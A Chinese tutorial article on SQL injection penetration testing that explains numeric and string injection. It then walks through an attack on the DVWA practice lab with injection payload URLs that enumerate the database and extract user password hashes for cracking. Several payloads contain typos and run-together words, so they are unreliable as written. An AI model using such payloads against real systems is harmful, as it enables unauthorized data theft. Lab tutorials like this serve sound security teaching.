中興通訊股份有限公司 張曉翠
隨著網(wǎng)絡(luò)發(fā)展迅速,網(wǎng)絡(luò)覆蓋了人民生活的方方面面,個(gè)人及企業(yè)信息泄露事件頻頻發(fā)生,造成人身財(cái)產(chǎn)安隱患,由此引入的滲測(cè)試越來來越受到網(wǎng)絡(luò)維護(hù)人員的重視,在web漏洞中,SQL注入漏洞一直處于高泄露率,需要滲透測(cè)試人員在產(chǎn)品研發(fā)階段發(fā)現(xiàn)漏洞,并提交漏洞報(bào)告協(xié)助開發(fā)人員規(guī)避漏洞。
SQL全稱是結(jié)構(gòu)化查詢語言,SQL注入是一種將惡意的SQL代碼插入或添加到應(yīng)用的輸入?yún)?shù)的攻擊,攻擊者探測(cè)出開發(fā)者編程過程中的漏洞,利用這些漏洞,巧妙的構(gòu)造SQL語句,獲取到數(shù)據(jù)庫中的涉密信息,甚至對(duì)數(shù)據(jù)庫系統(tǒng)的內(nèi)容進(jìn)行直接檢索或修改。
凡是與數(shù)庫交互的位置都有可能產(chǎn)生SQL注入漏洞,數(shù)據(jù)庫分為很多種,有 oracle、 MYSQL、SQL Serve、DB2等,操作數(shù)據(jù)庫的語言即SQL語句,如果攻擊者能夠?qū)εc服務(wù)器交互的SQL語句進(jìn)行修改,服務(wù)端沒有進(jìn)行應(yīng)有的過慮、校驗(yàn)等,那么就造成了SQL注入漏洞,使攻擊者能獲得某些敏感信息。
SQL注入漏洞可以分為如下兩種:數(shù)字型和字符型。
1.數(shù)字型SQL注入漏洞
當(dāng)輸入的參數(shù)為整形時(shí),如果存在SQL注入漏洞,則可以認(rèn)為是數(shù)字型注入。例如SQL語句:Select * from tablename where id=1;那么語句 Select * from tablename where id=1 and 1=2應(yīng)該是語句執(zhí)行成功,但是查詢結(jié)果為空,因?yàn)?=2始終為假。而語句 Selcet *from tablename where id=1 and 1=1應(yīng)該是語句執(zhí)行成功,且查詢結(jié)果與原語句一致。
通過構(gòu)造如上的輸入?yún)?shù)來判定是否存在數(shù)字型SQL注入漏洞。
2.字符型SQL注入漏洞
當(dāng)輸入的參數(shù)為字符型時(shí),如果存在SQL注入漏洞,則可以認(rèn)為是字符型注入。例如SQL語句:Select * from tablename where username=’admin’;那么語句 Select * from tablename where username=’admin’ and 1=2應(yīng)該是語句執(zhí)行成功,但是查詢結(jié)果為空,因?yàn)?=2始終為假。而語句 Select * from tablename where username=’admin’ and 1=1應(yīng)該是語句執(zhí)行成功,且查詢結(jié)果與原語句一致。
通過構(gòu)造如上的輸入?yún)?shù)來判定是否存在字符型SQL注入漏洞,注意對(duì)于字符型注入,通常都需要閉合字符串,需要注釋掉多余的代碼。
發(fā)現(xiàn)SQL注入漏洞后,可以利用SQL標(biāo)準(zhǔn),查詢數(shù)據(jù)庫的敏感信息,常用語句如下:
1.order by語句,Select columnname1, columname2 from tablename where username=’admin’ order by paramindex,其中參數(shù)的序號(hào),當(dāng)注入的 paramindex超出查詢參數(shù)個(gè)數(shù),則會(huì)返回失敗。
2.union select語句,聯(lián)合查詢語句要求 union內(nèi)部的 select語句查詢的列數(shù)必須一致,同時(shí)每條 select語句中列的順序必須相同。由此我們可以用來猜測(cè)字段數(shù),及查詢哪些字段可以用來暴敏感數(shù)據(jù)。
3.information_schema,在SQL注入中要獲取表格信息常用到這個(gè)數(shù)據(jù)庫視圖,類似與數(shù)據(jù)字典,提供了訪間數(shù)據(jù)庫元數(shù)據(jù)的方式,如數(shù)據(jù)庫名或表名,列類型,訪問權(quán)限等。其中常用的是informat ion _schema.tables和information_schema.columns。
1.發(fā)現(xiàn)注入漏洞;2.猜測(cè)字段數(shù);3.査詢數(shù)據(jù)庫版本、當(dāng)前用戶、系統(tǒng)用戶;4.獲取數(shù)據(jù)庫名;5.獲取數(shù)據(jù)庫表格,發(fā)現(xiàn)敏感表格;6.針對(duì)敏感表格數(shù)據(jù)進(jìn)行原數(shù)據(jù)暴露。
通過對(duì)于dvwa平臺(tái)的SQL注入漏洞進(jìn)行攻擊演示。搭建dvwa漏洞平臺(tái),進(jìn)入SQL注入漏洞練習(xí)頁面。
1.發(fā)現(xiàn)SQL注入漏洞:http://xxx/vulnerabilities/sqli/?id=1and1=2&Submit=Submit#;
2.猜測(cè)字段數(shù):
使用 order by方法:http://xxx/vulnerabilities/sqli/?id=1’ order by 2--+&Submit=Submit#;或者使用 union select方法:http://xxx/vulnerabilities/sqli/?id=1’ unionselect1, 2-- -&Submit= Submit#;發(fā)現(xiàn)字段數(shù)為2;
3.查詢數(shù)據(jù)庫版本,系統(tǒng)用戶,當(dāng)前用戶:
http://xxx/vulnerabilities/sqli/?id=1’ unionselect version(),system_user()-- -&Submit =Submit#;
http://xxx/vulnerabilities/sqli/?id=1’ unionselect version(),current_user()-- -&Submit =Submit#;
發(fā)現(xiàn)數(shù)據(jù)庫版本為5.5.36-log;系統(tǒng)用戶為root@localhost;當(dāng)前用戶為root@localhost;
4.獲取數(shù)據(jù)庫名長(zhǎng)度:http://xxx/vulnerabilities/sq1i/?id=1’union select1, length(database())-- -&Submit=Submit#;獲取到數(shù)據(jù)庫名長(zhǎng)度為4。
5.獲取數(shù)據(jù)庫名稱:http://xxx/vulnerabilities/sq1i/?id=1’ union select1, substring(database(),1,4)-- -&Submit=Submit#;對(duì)于有些對(duì)輸入?yún)?shù)進(jìn)行了限制,可以使用 ascii函數(shù)來分別獲取每個(gè)字節(jié):
http://xxx/vulnerabilities/sq1i/?id=1’ union select ascii(substring(database(),1,1)), ascii(substring(database(),2,1))-- -&Submit=Submit#;
http://xxx/vulnerabilities/sq1i/?id=1’ union select ascii(substring(database(),3,1)), ascii(substring(database(),4,1))-- -&Submit=Submit#;
獲取到ascii值第一位的是100,第二位是118,第三位是119,第四位是97;換算后為:dvwa。
6.獲取數(shù)據(jù)庫表格http://xxx/vulnerabilities/sqli/?id=1’ unionselect length(table_name), (table_name)frominformation_schema.tableswhere table_schema=database()-- -&Submit=Submit#;
從表格名稱發(fā)現(xiàn)可用敏感表格user;
7.獲取表格user的列名稱:
http://xxx/vulnerabilities/sqli/?id=1’ unionselect length(column_name),(column_name) from information_schema.column where table_schema=database() and table_name=’users’;-- --&Submit=Submit#;或者避免開雙引號(hào)可能引起語句閉合的影響,用十六進(jìn)制來表示user:http://xxx/vulnerabilities/sqli/?id=1’unionselect length(column_name),(column_name) from information_schema.column where table_schema=database() and table_name=0x7573657273-- - -&Submit=Submit#;發(fā)現(xiàn)關(guān)鍵字password;
8.獲取密碼 :
http://xxx/vulnerabilities/sqli/?id=1’ unionselect first_name,password form users -- -&Submit#;觀察密碼是32位,猜測(cè)是md5加加密,用md5破解網(wǎng)址破解密碼。最終完成獲取5個(gè)用戶密碼,獲得了用戶敏感信息。
本文通過對(duì)SQL注入漏洞類型及原理的講解,并對(duì)dvwa平臺(tái)進(jìn)行SQL注入漏洞攻擊演示,對(duì)SQL注入漏洞滲透測(cè)試有指導(dǎo)意義。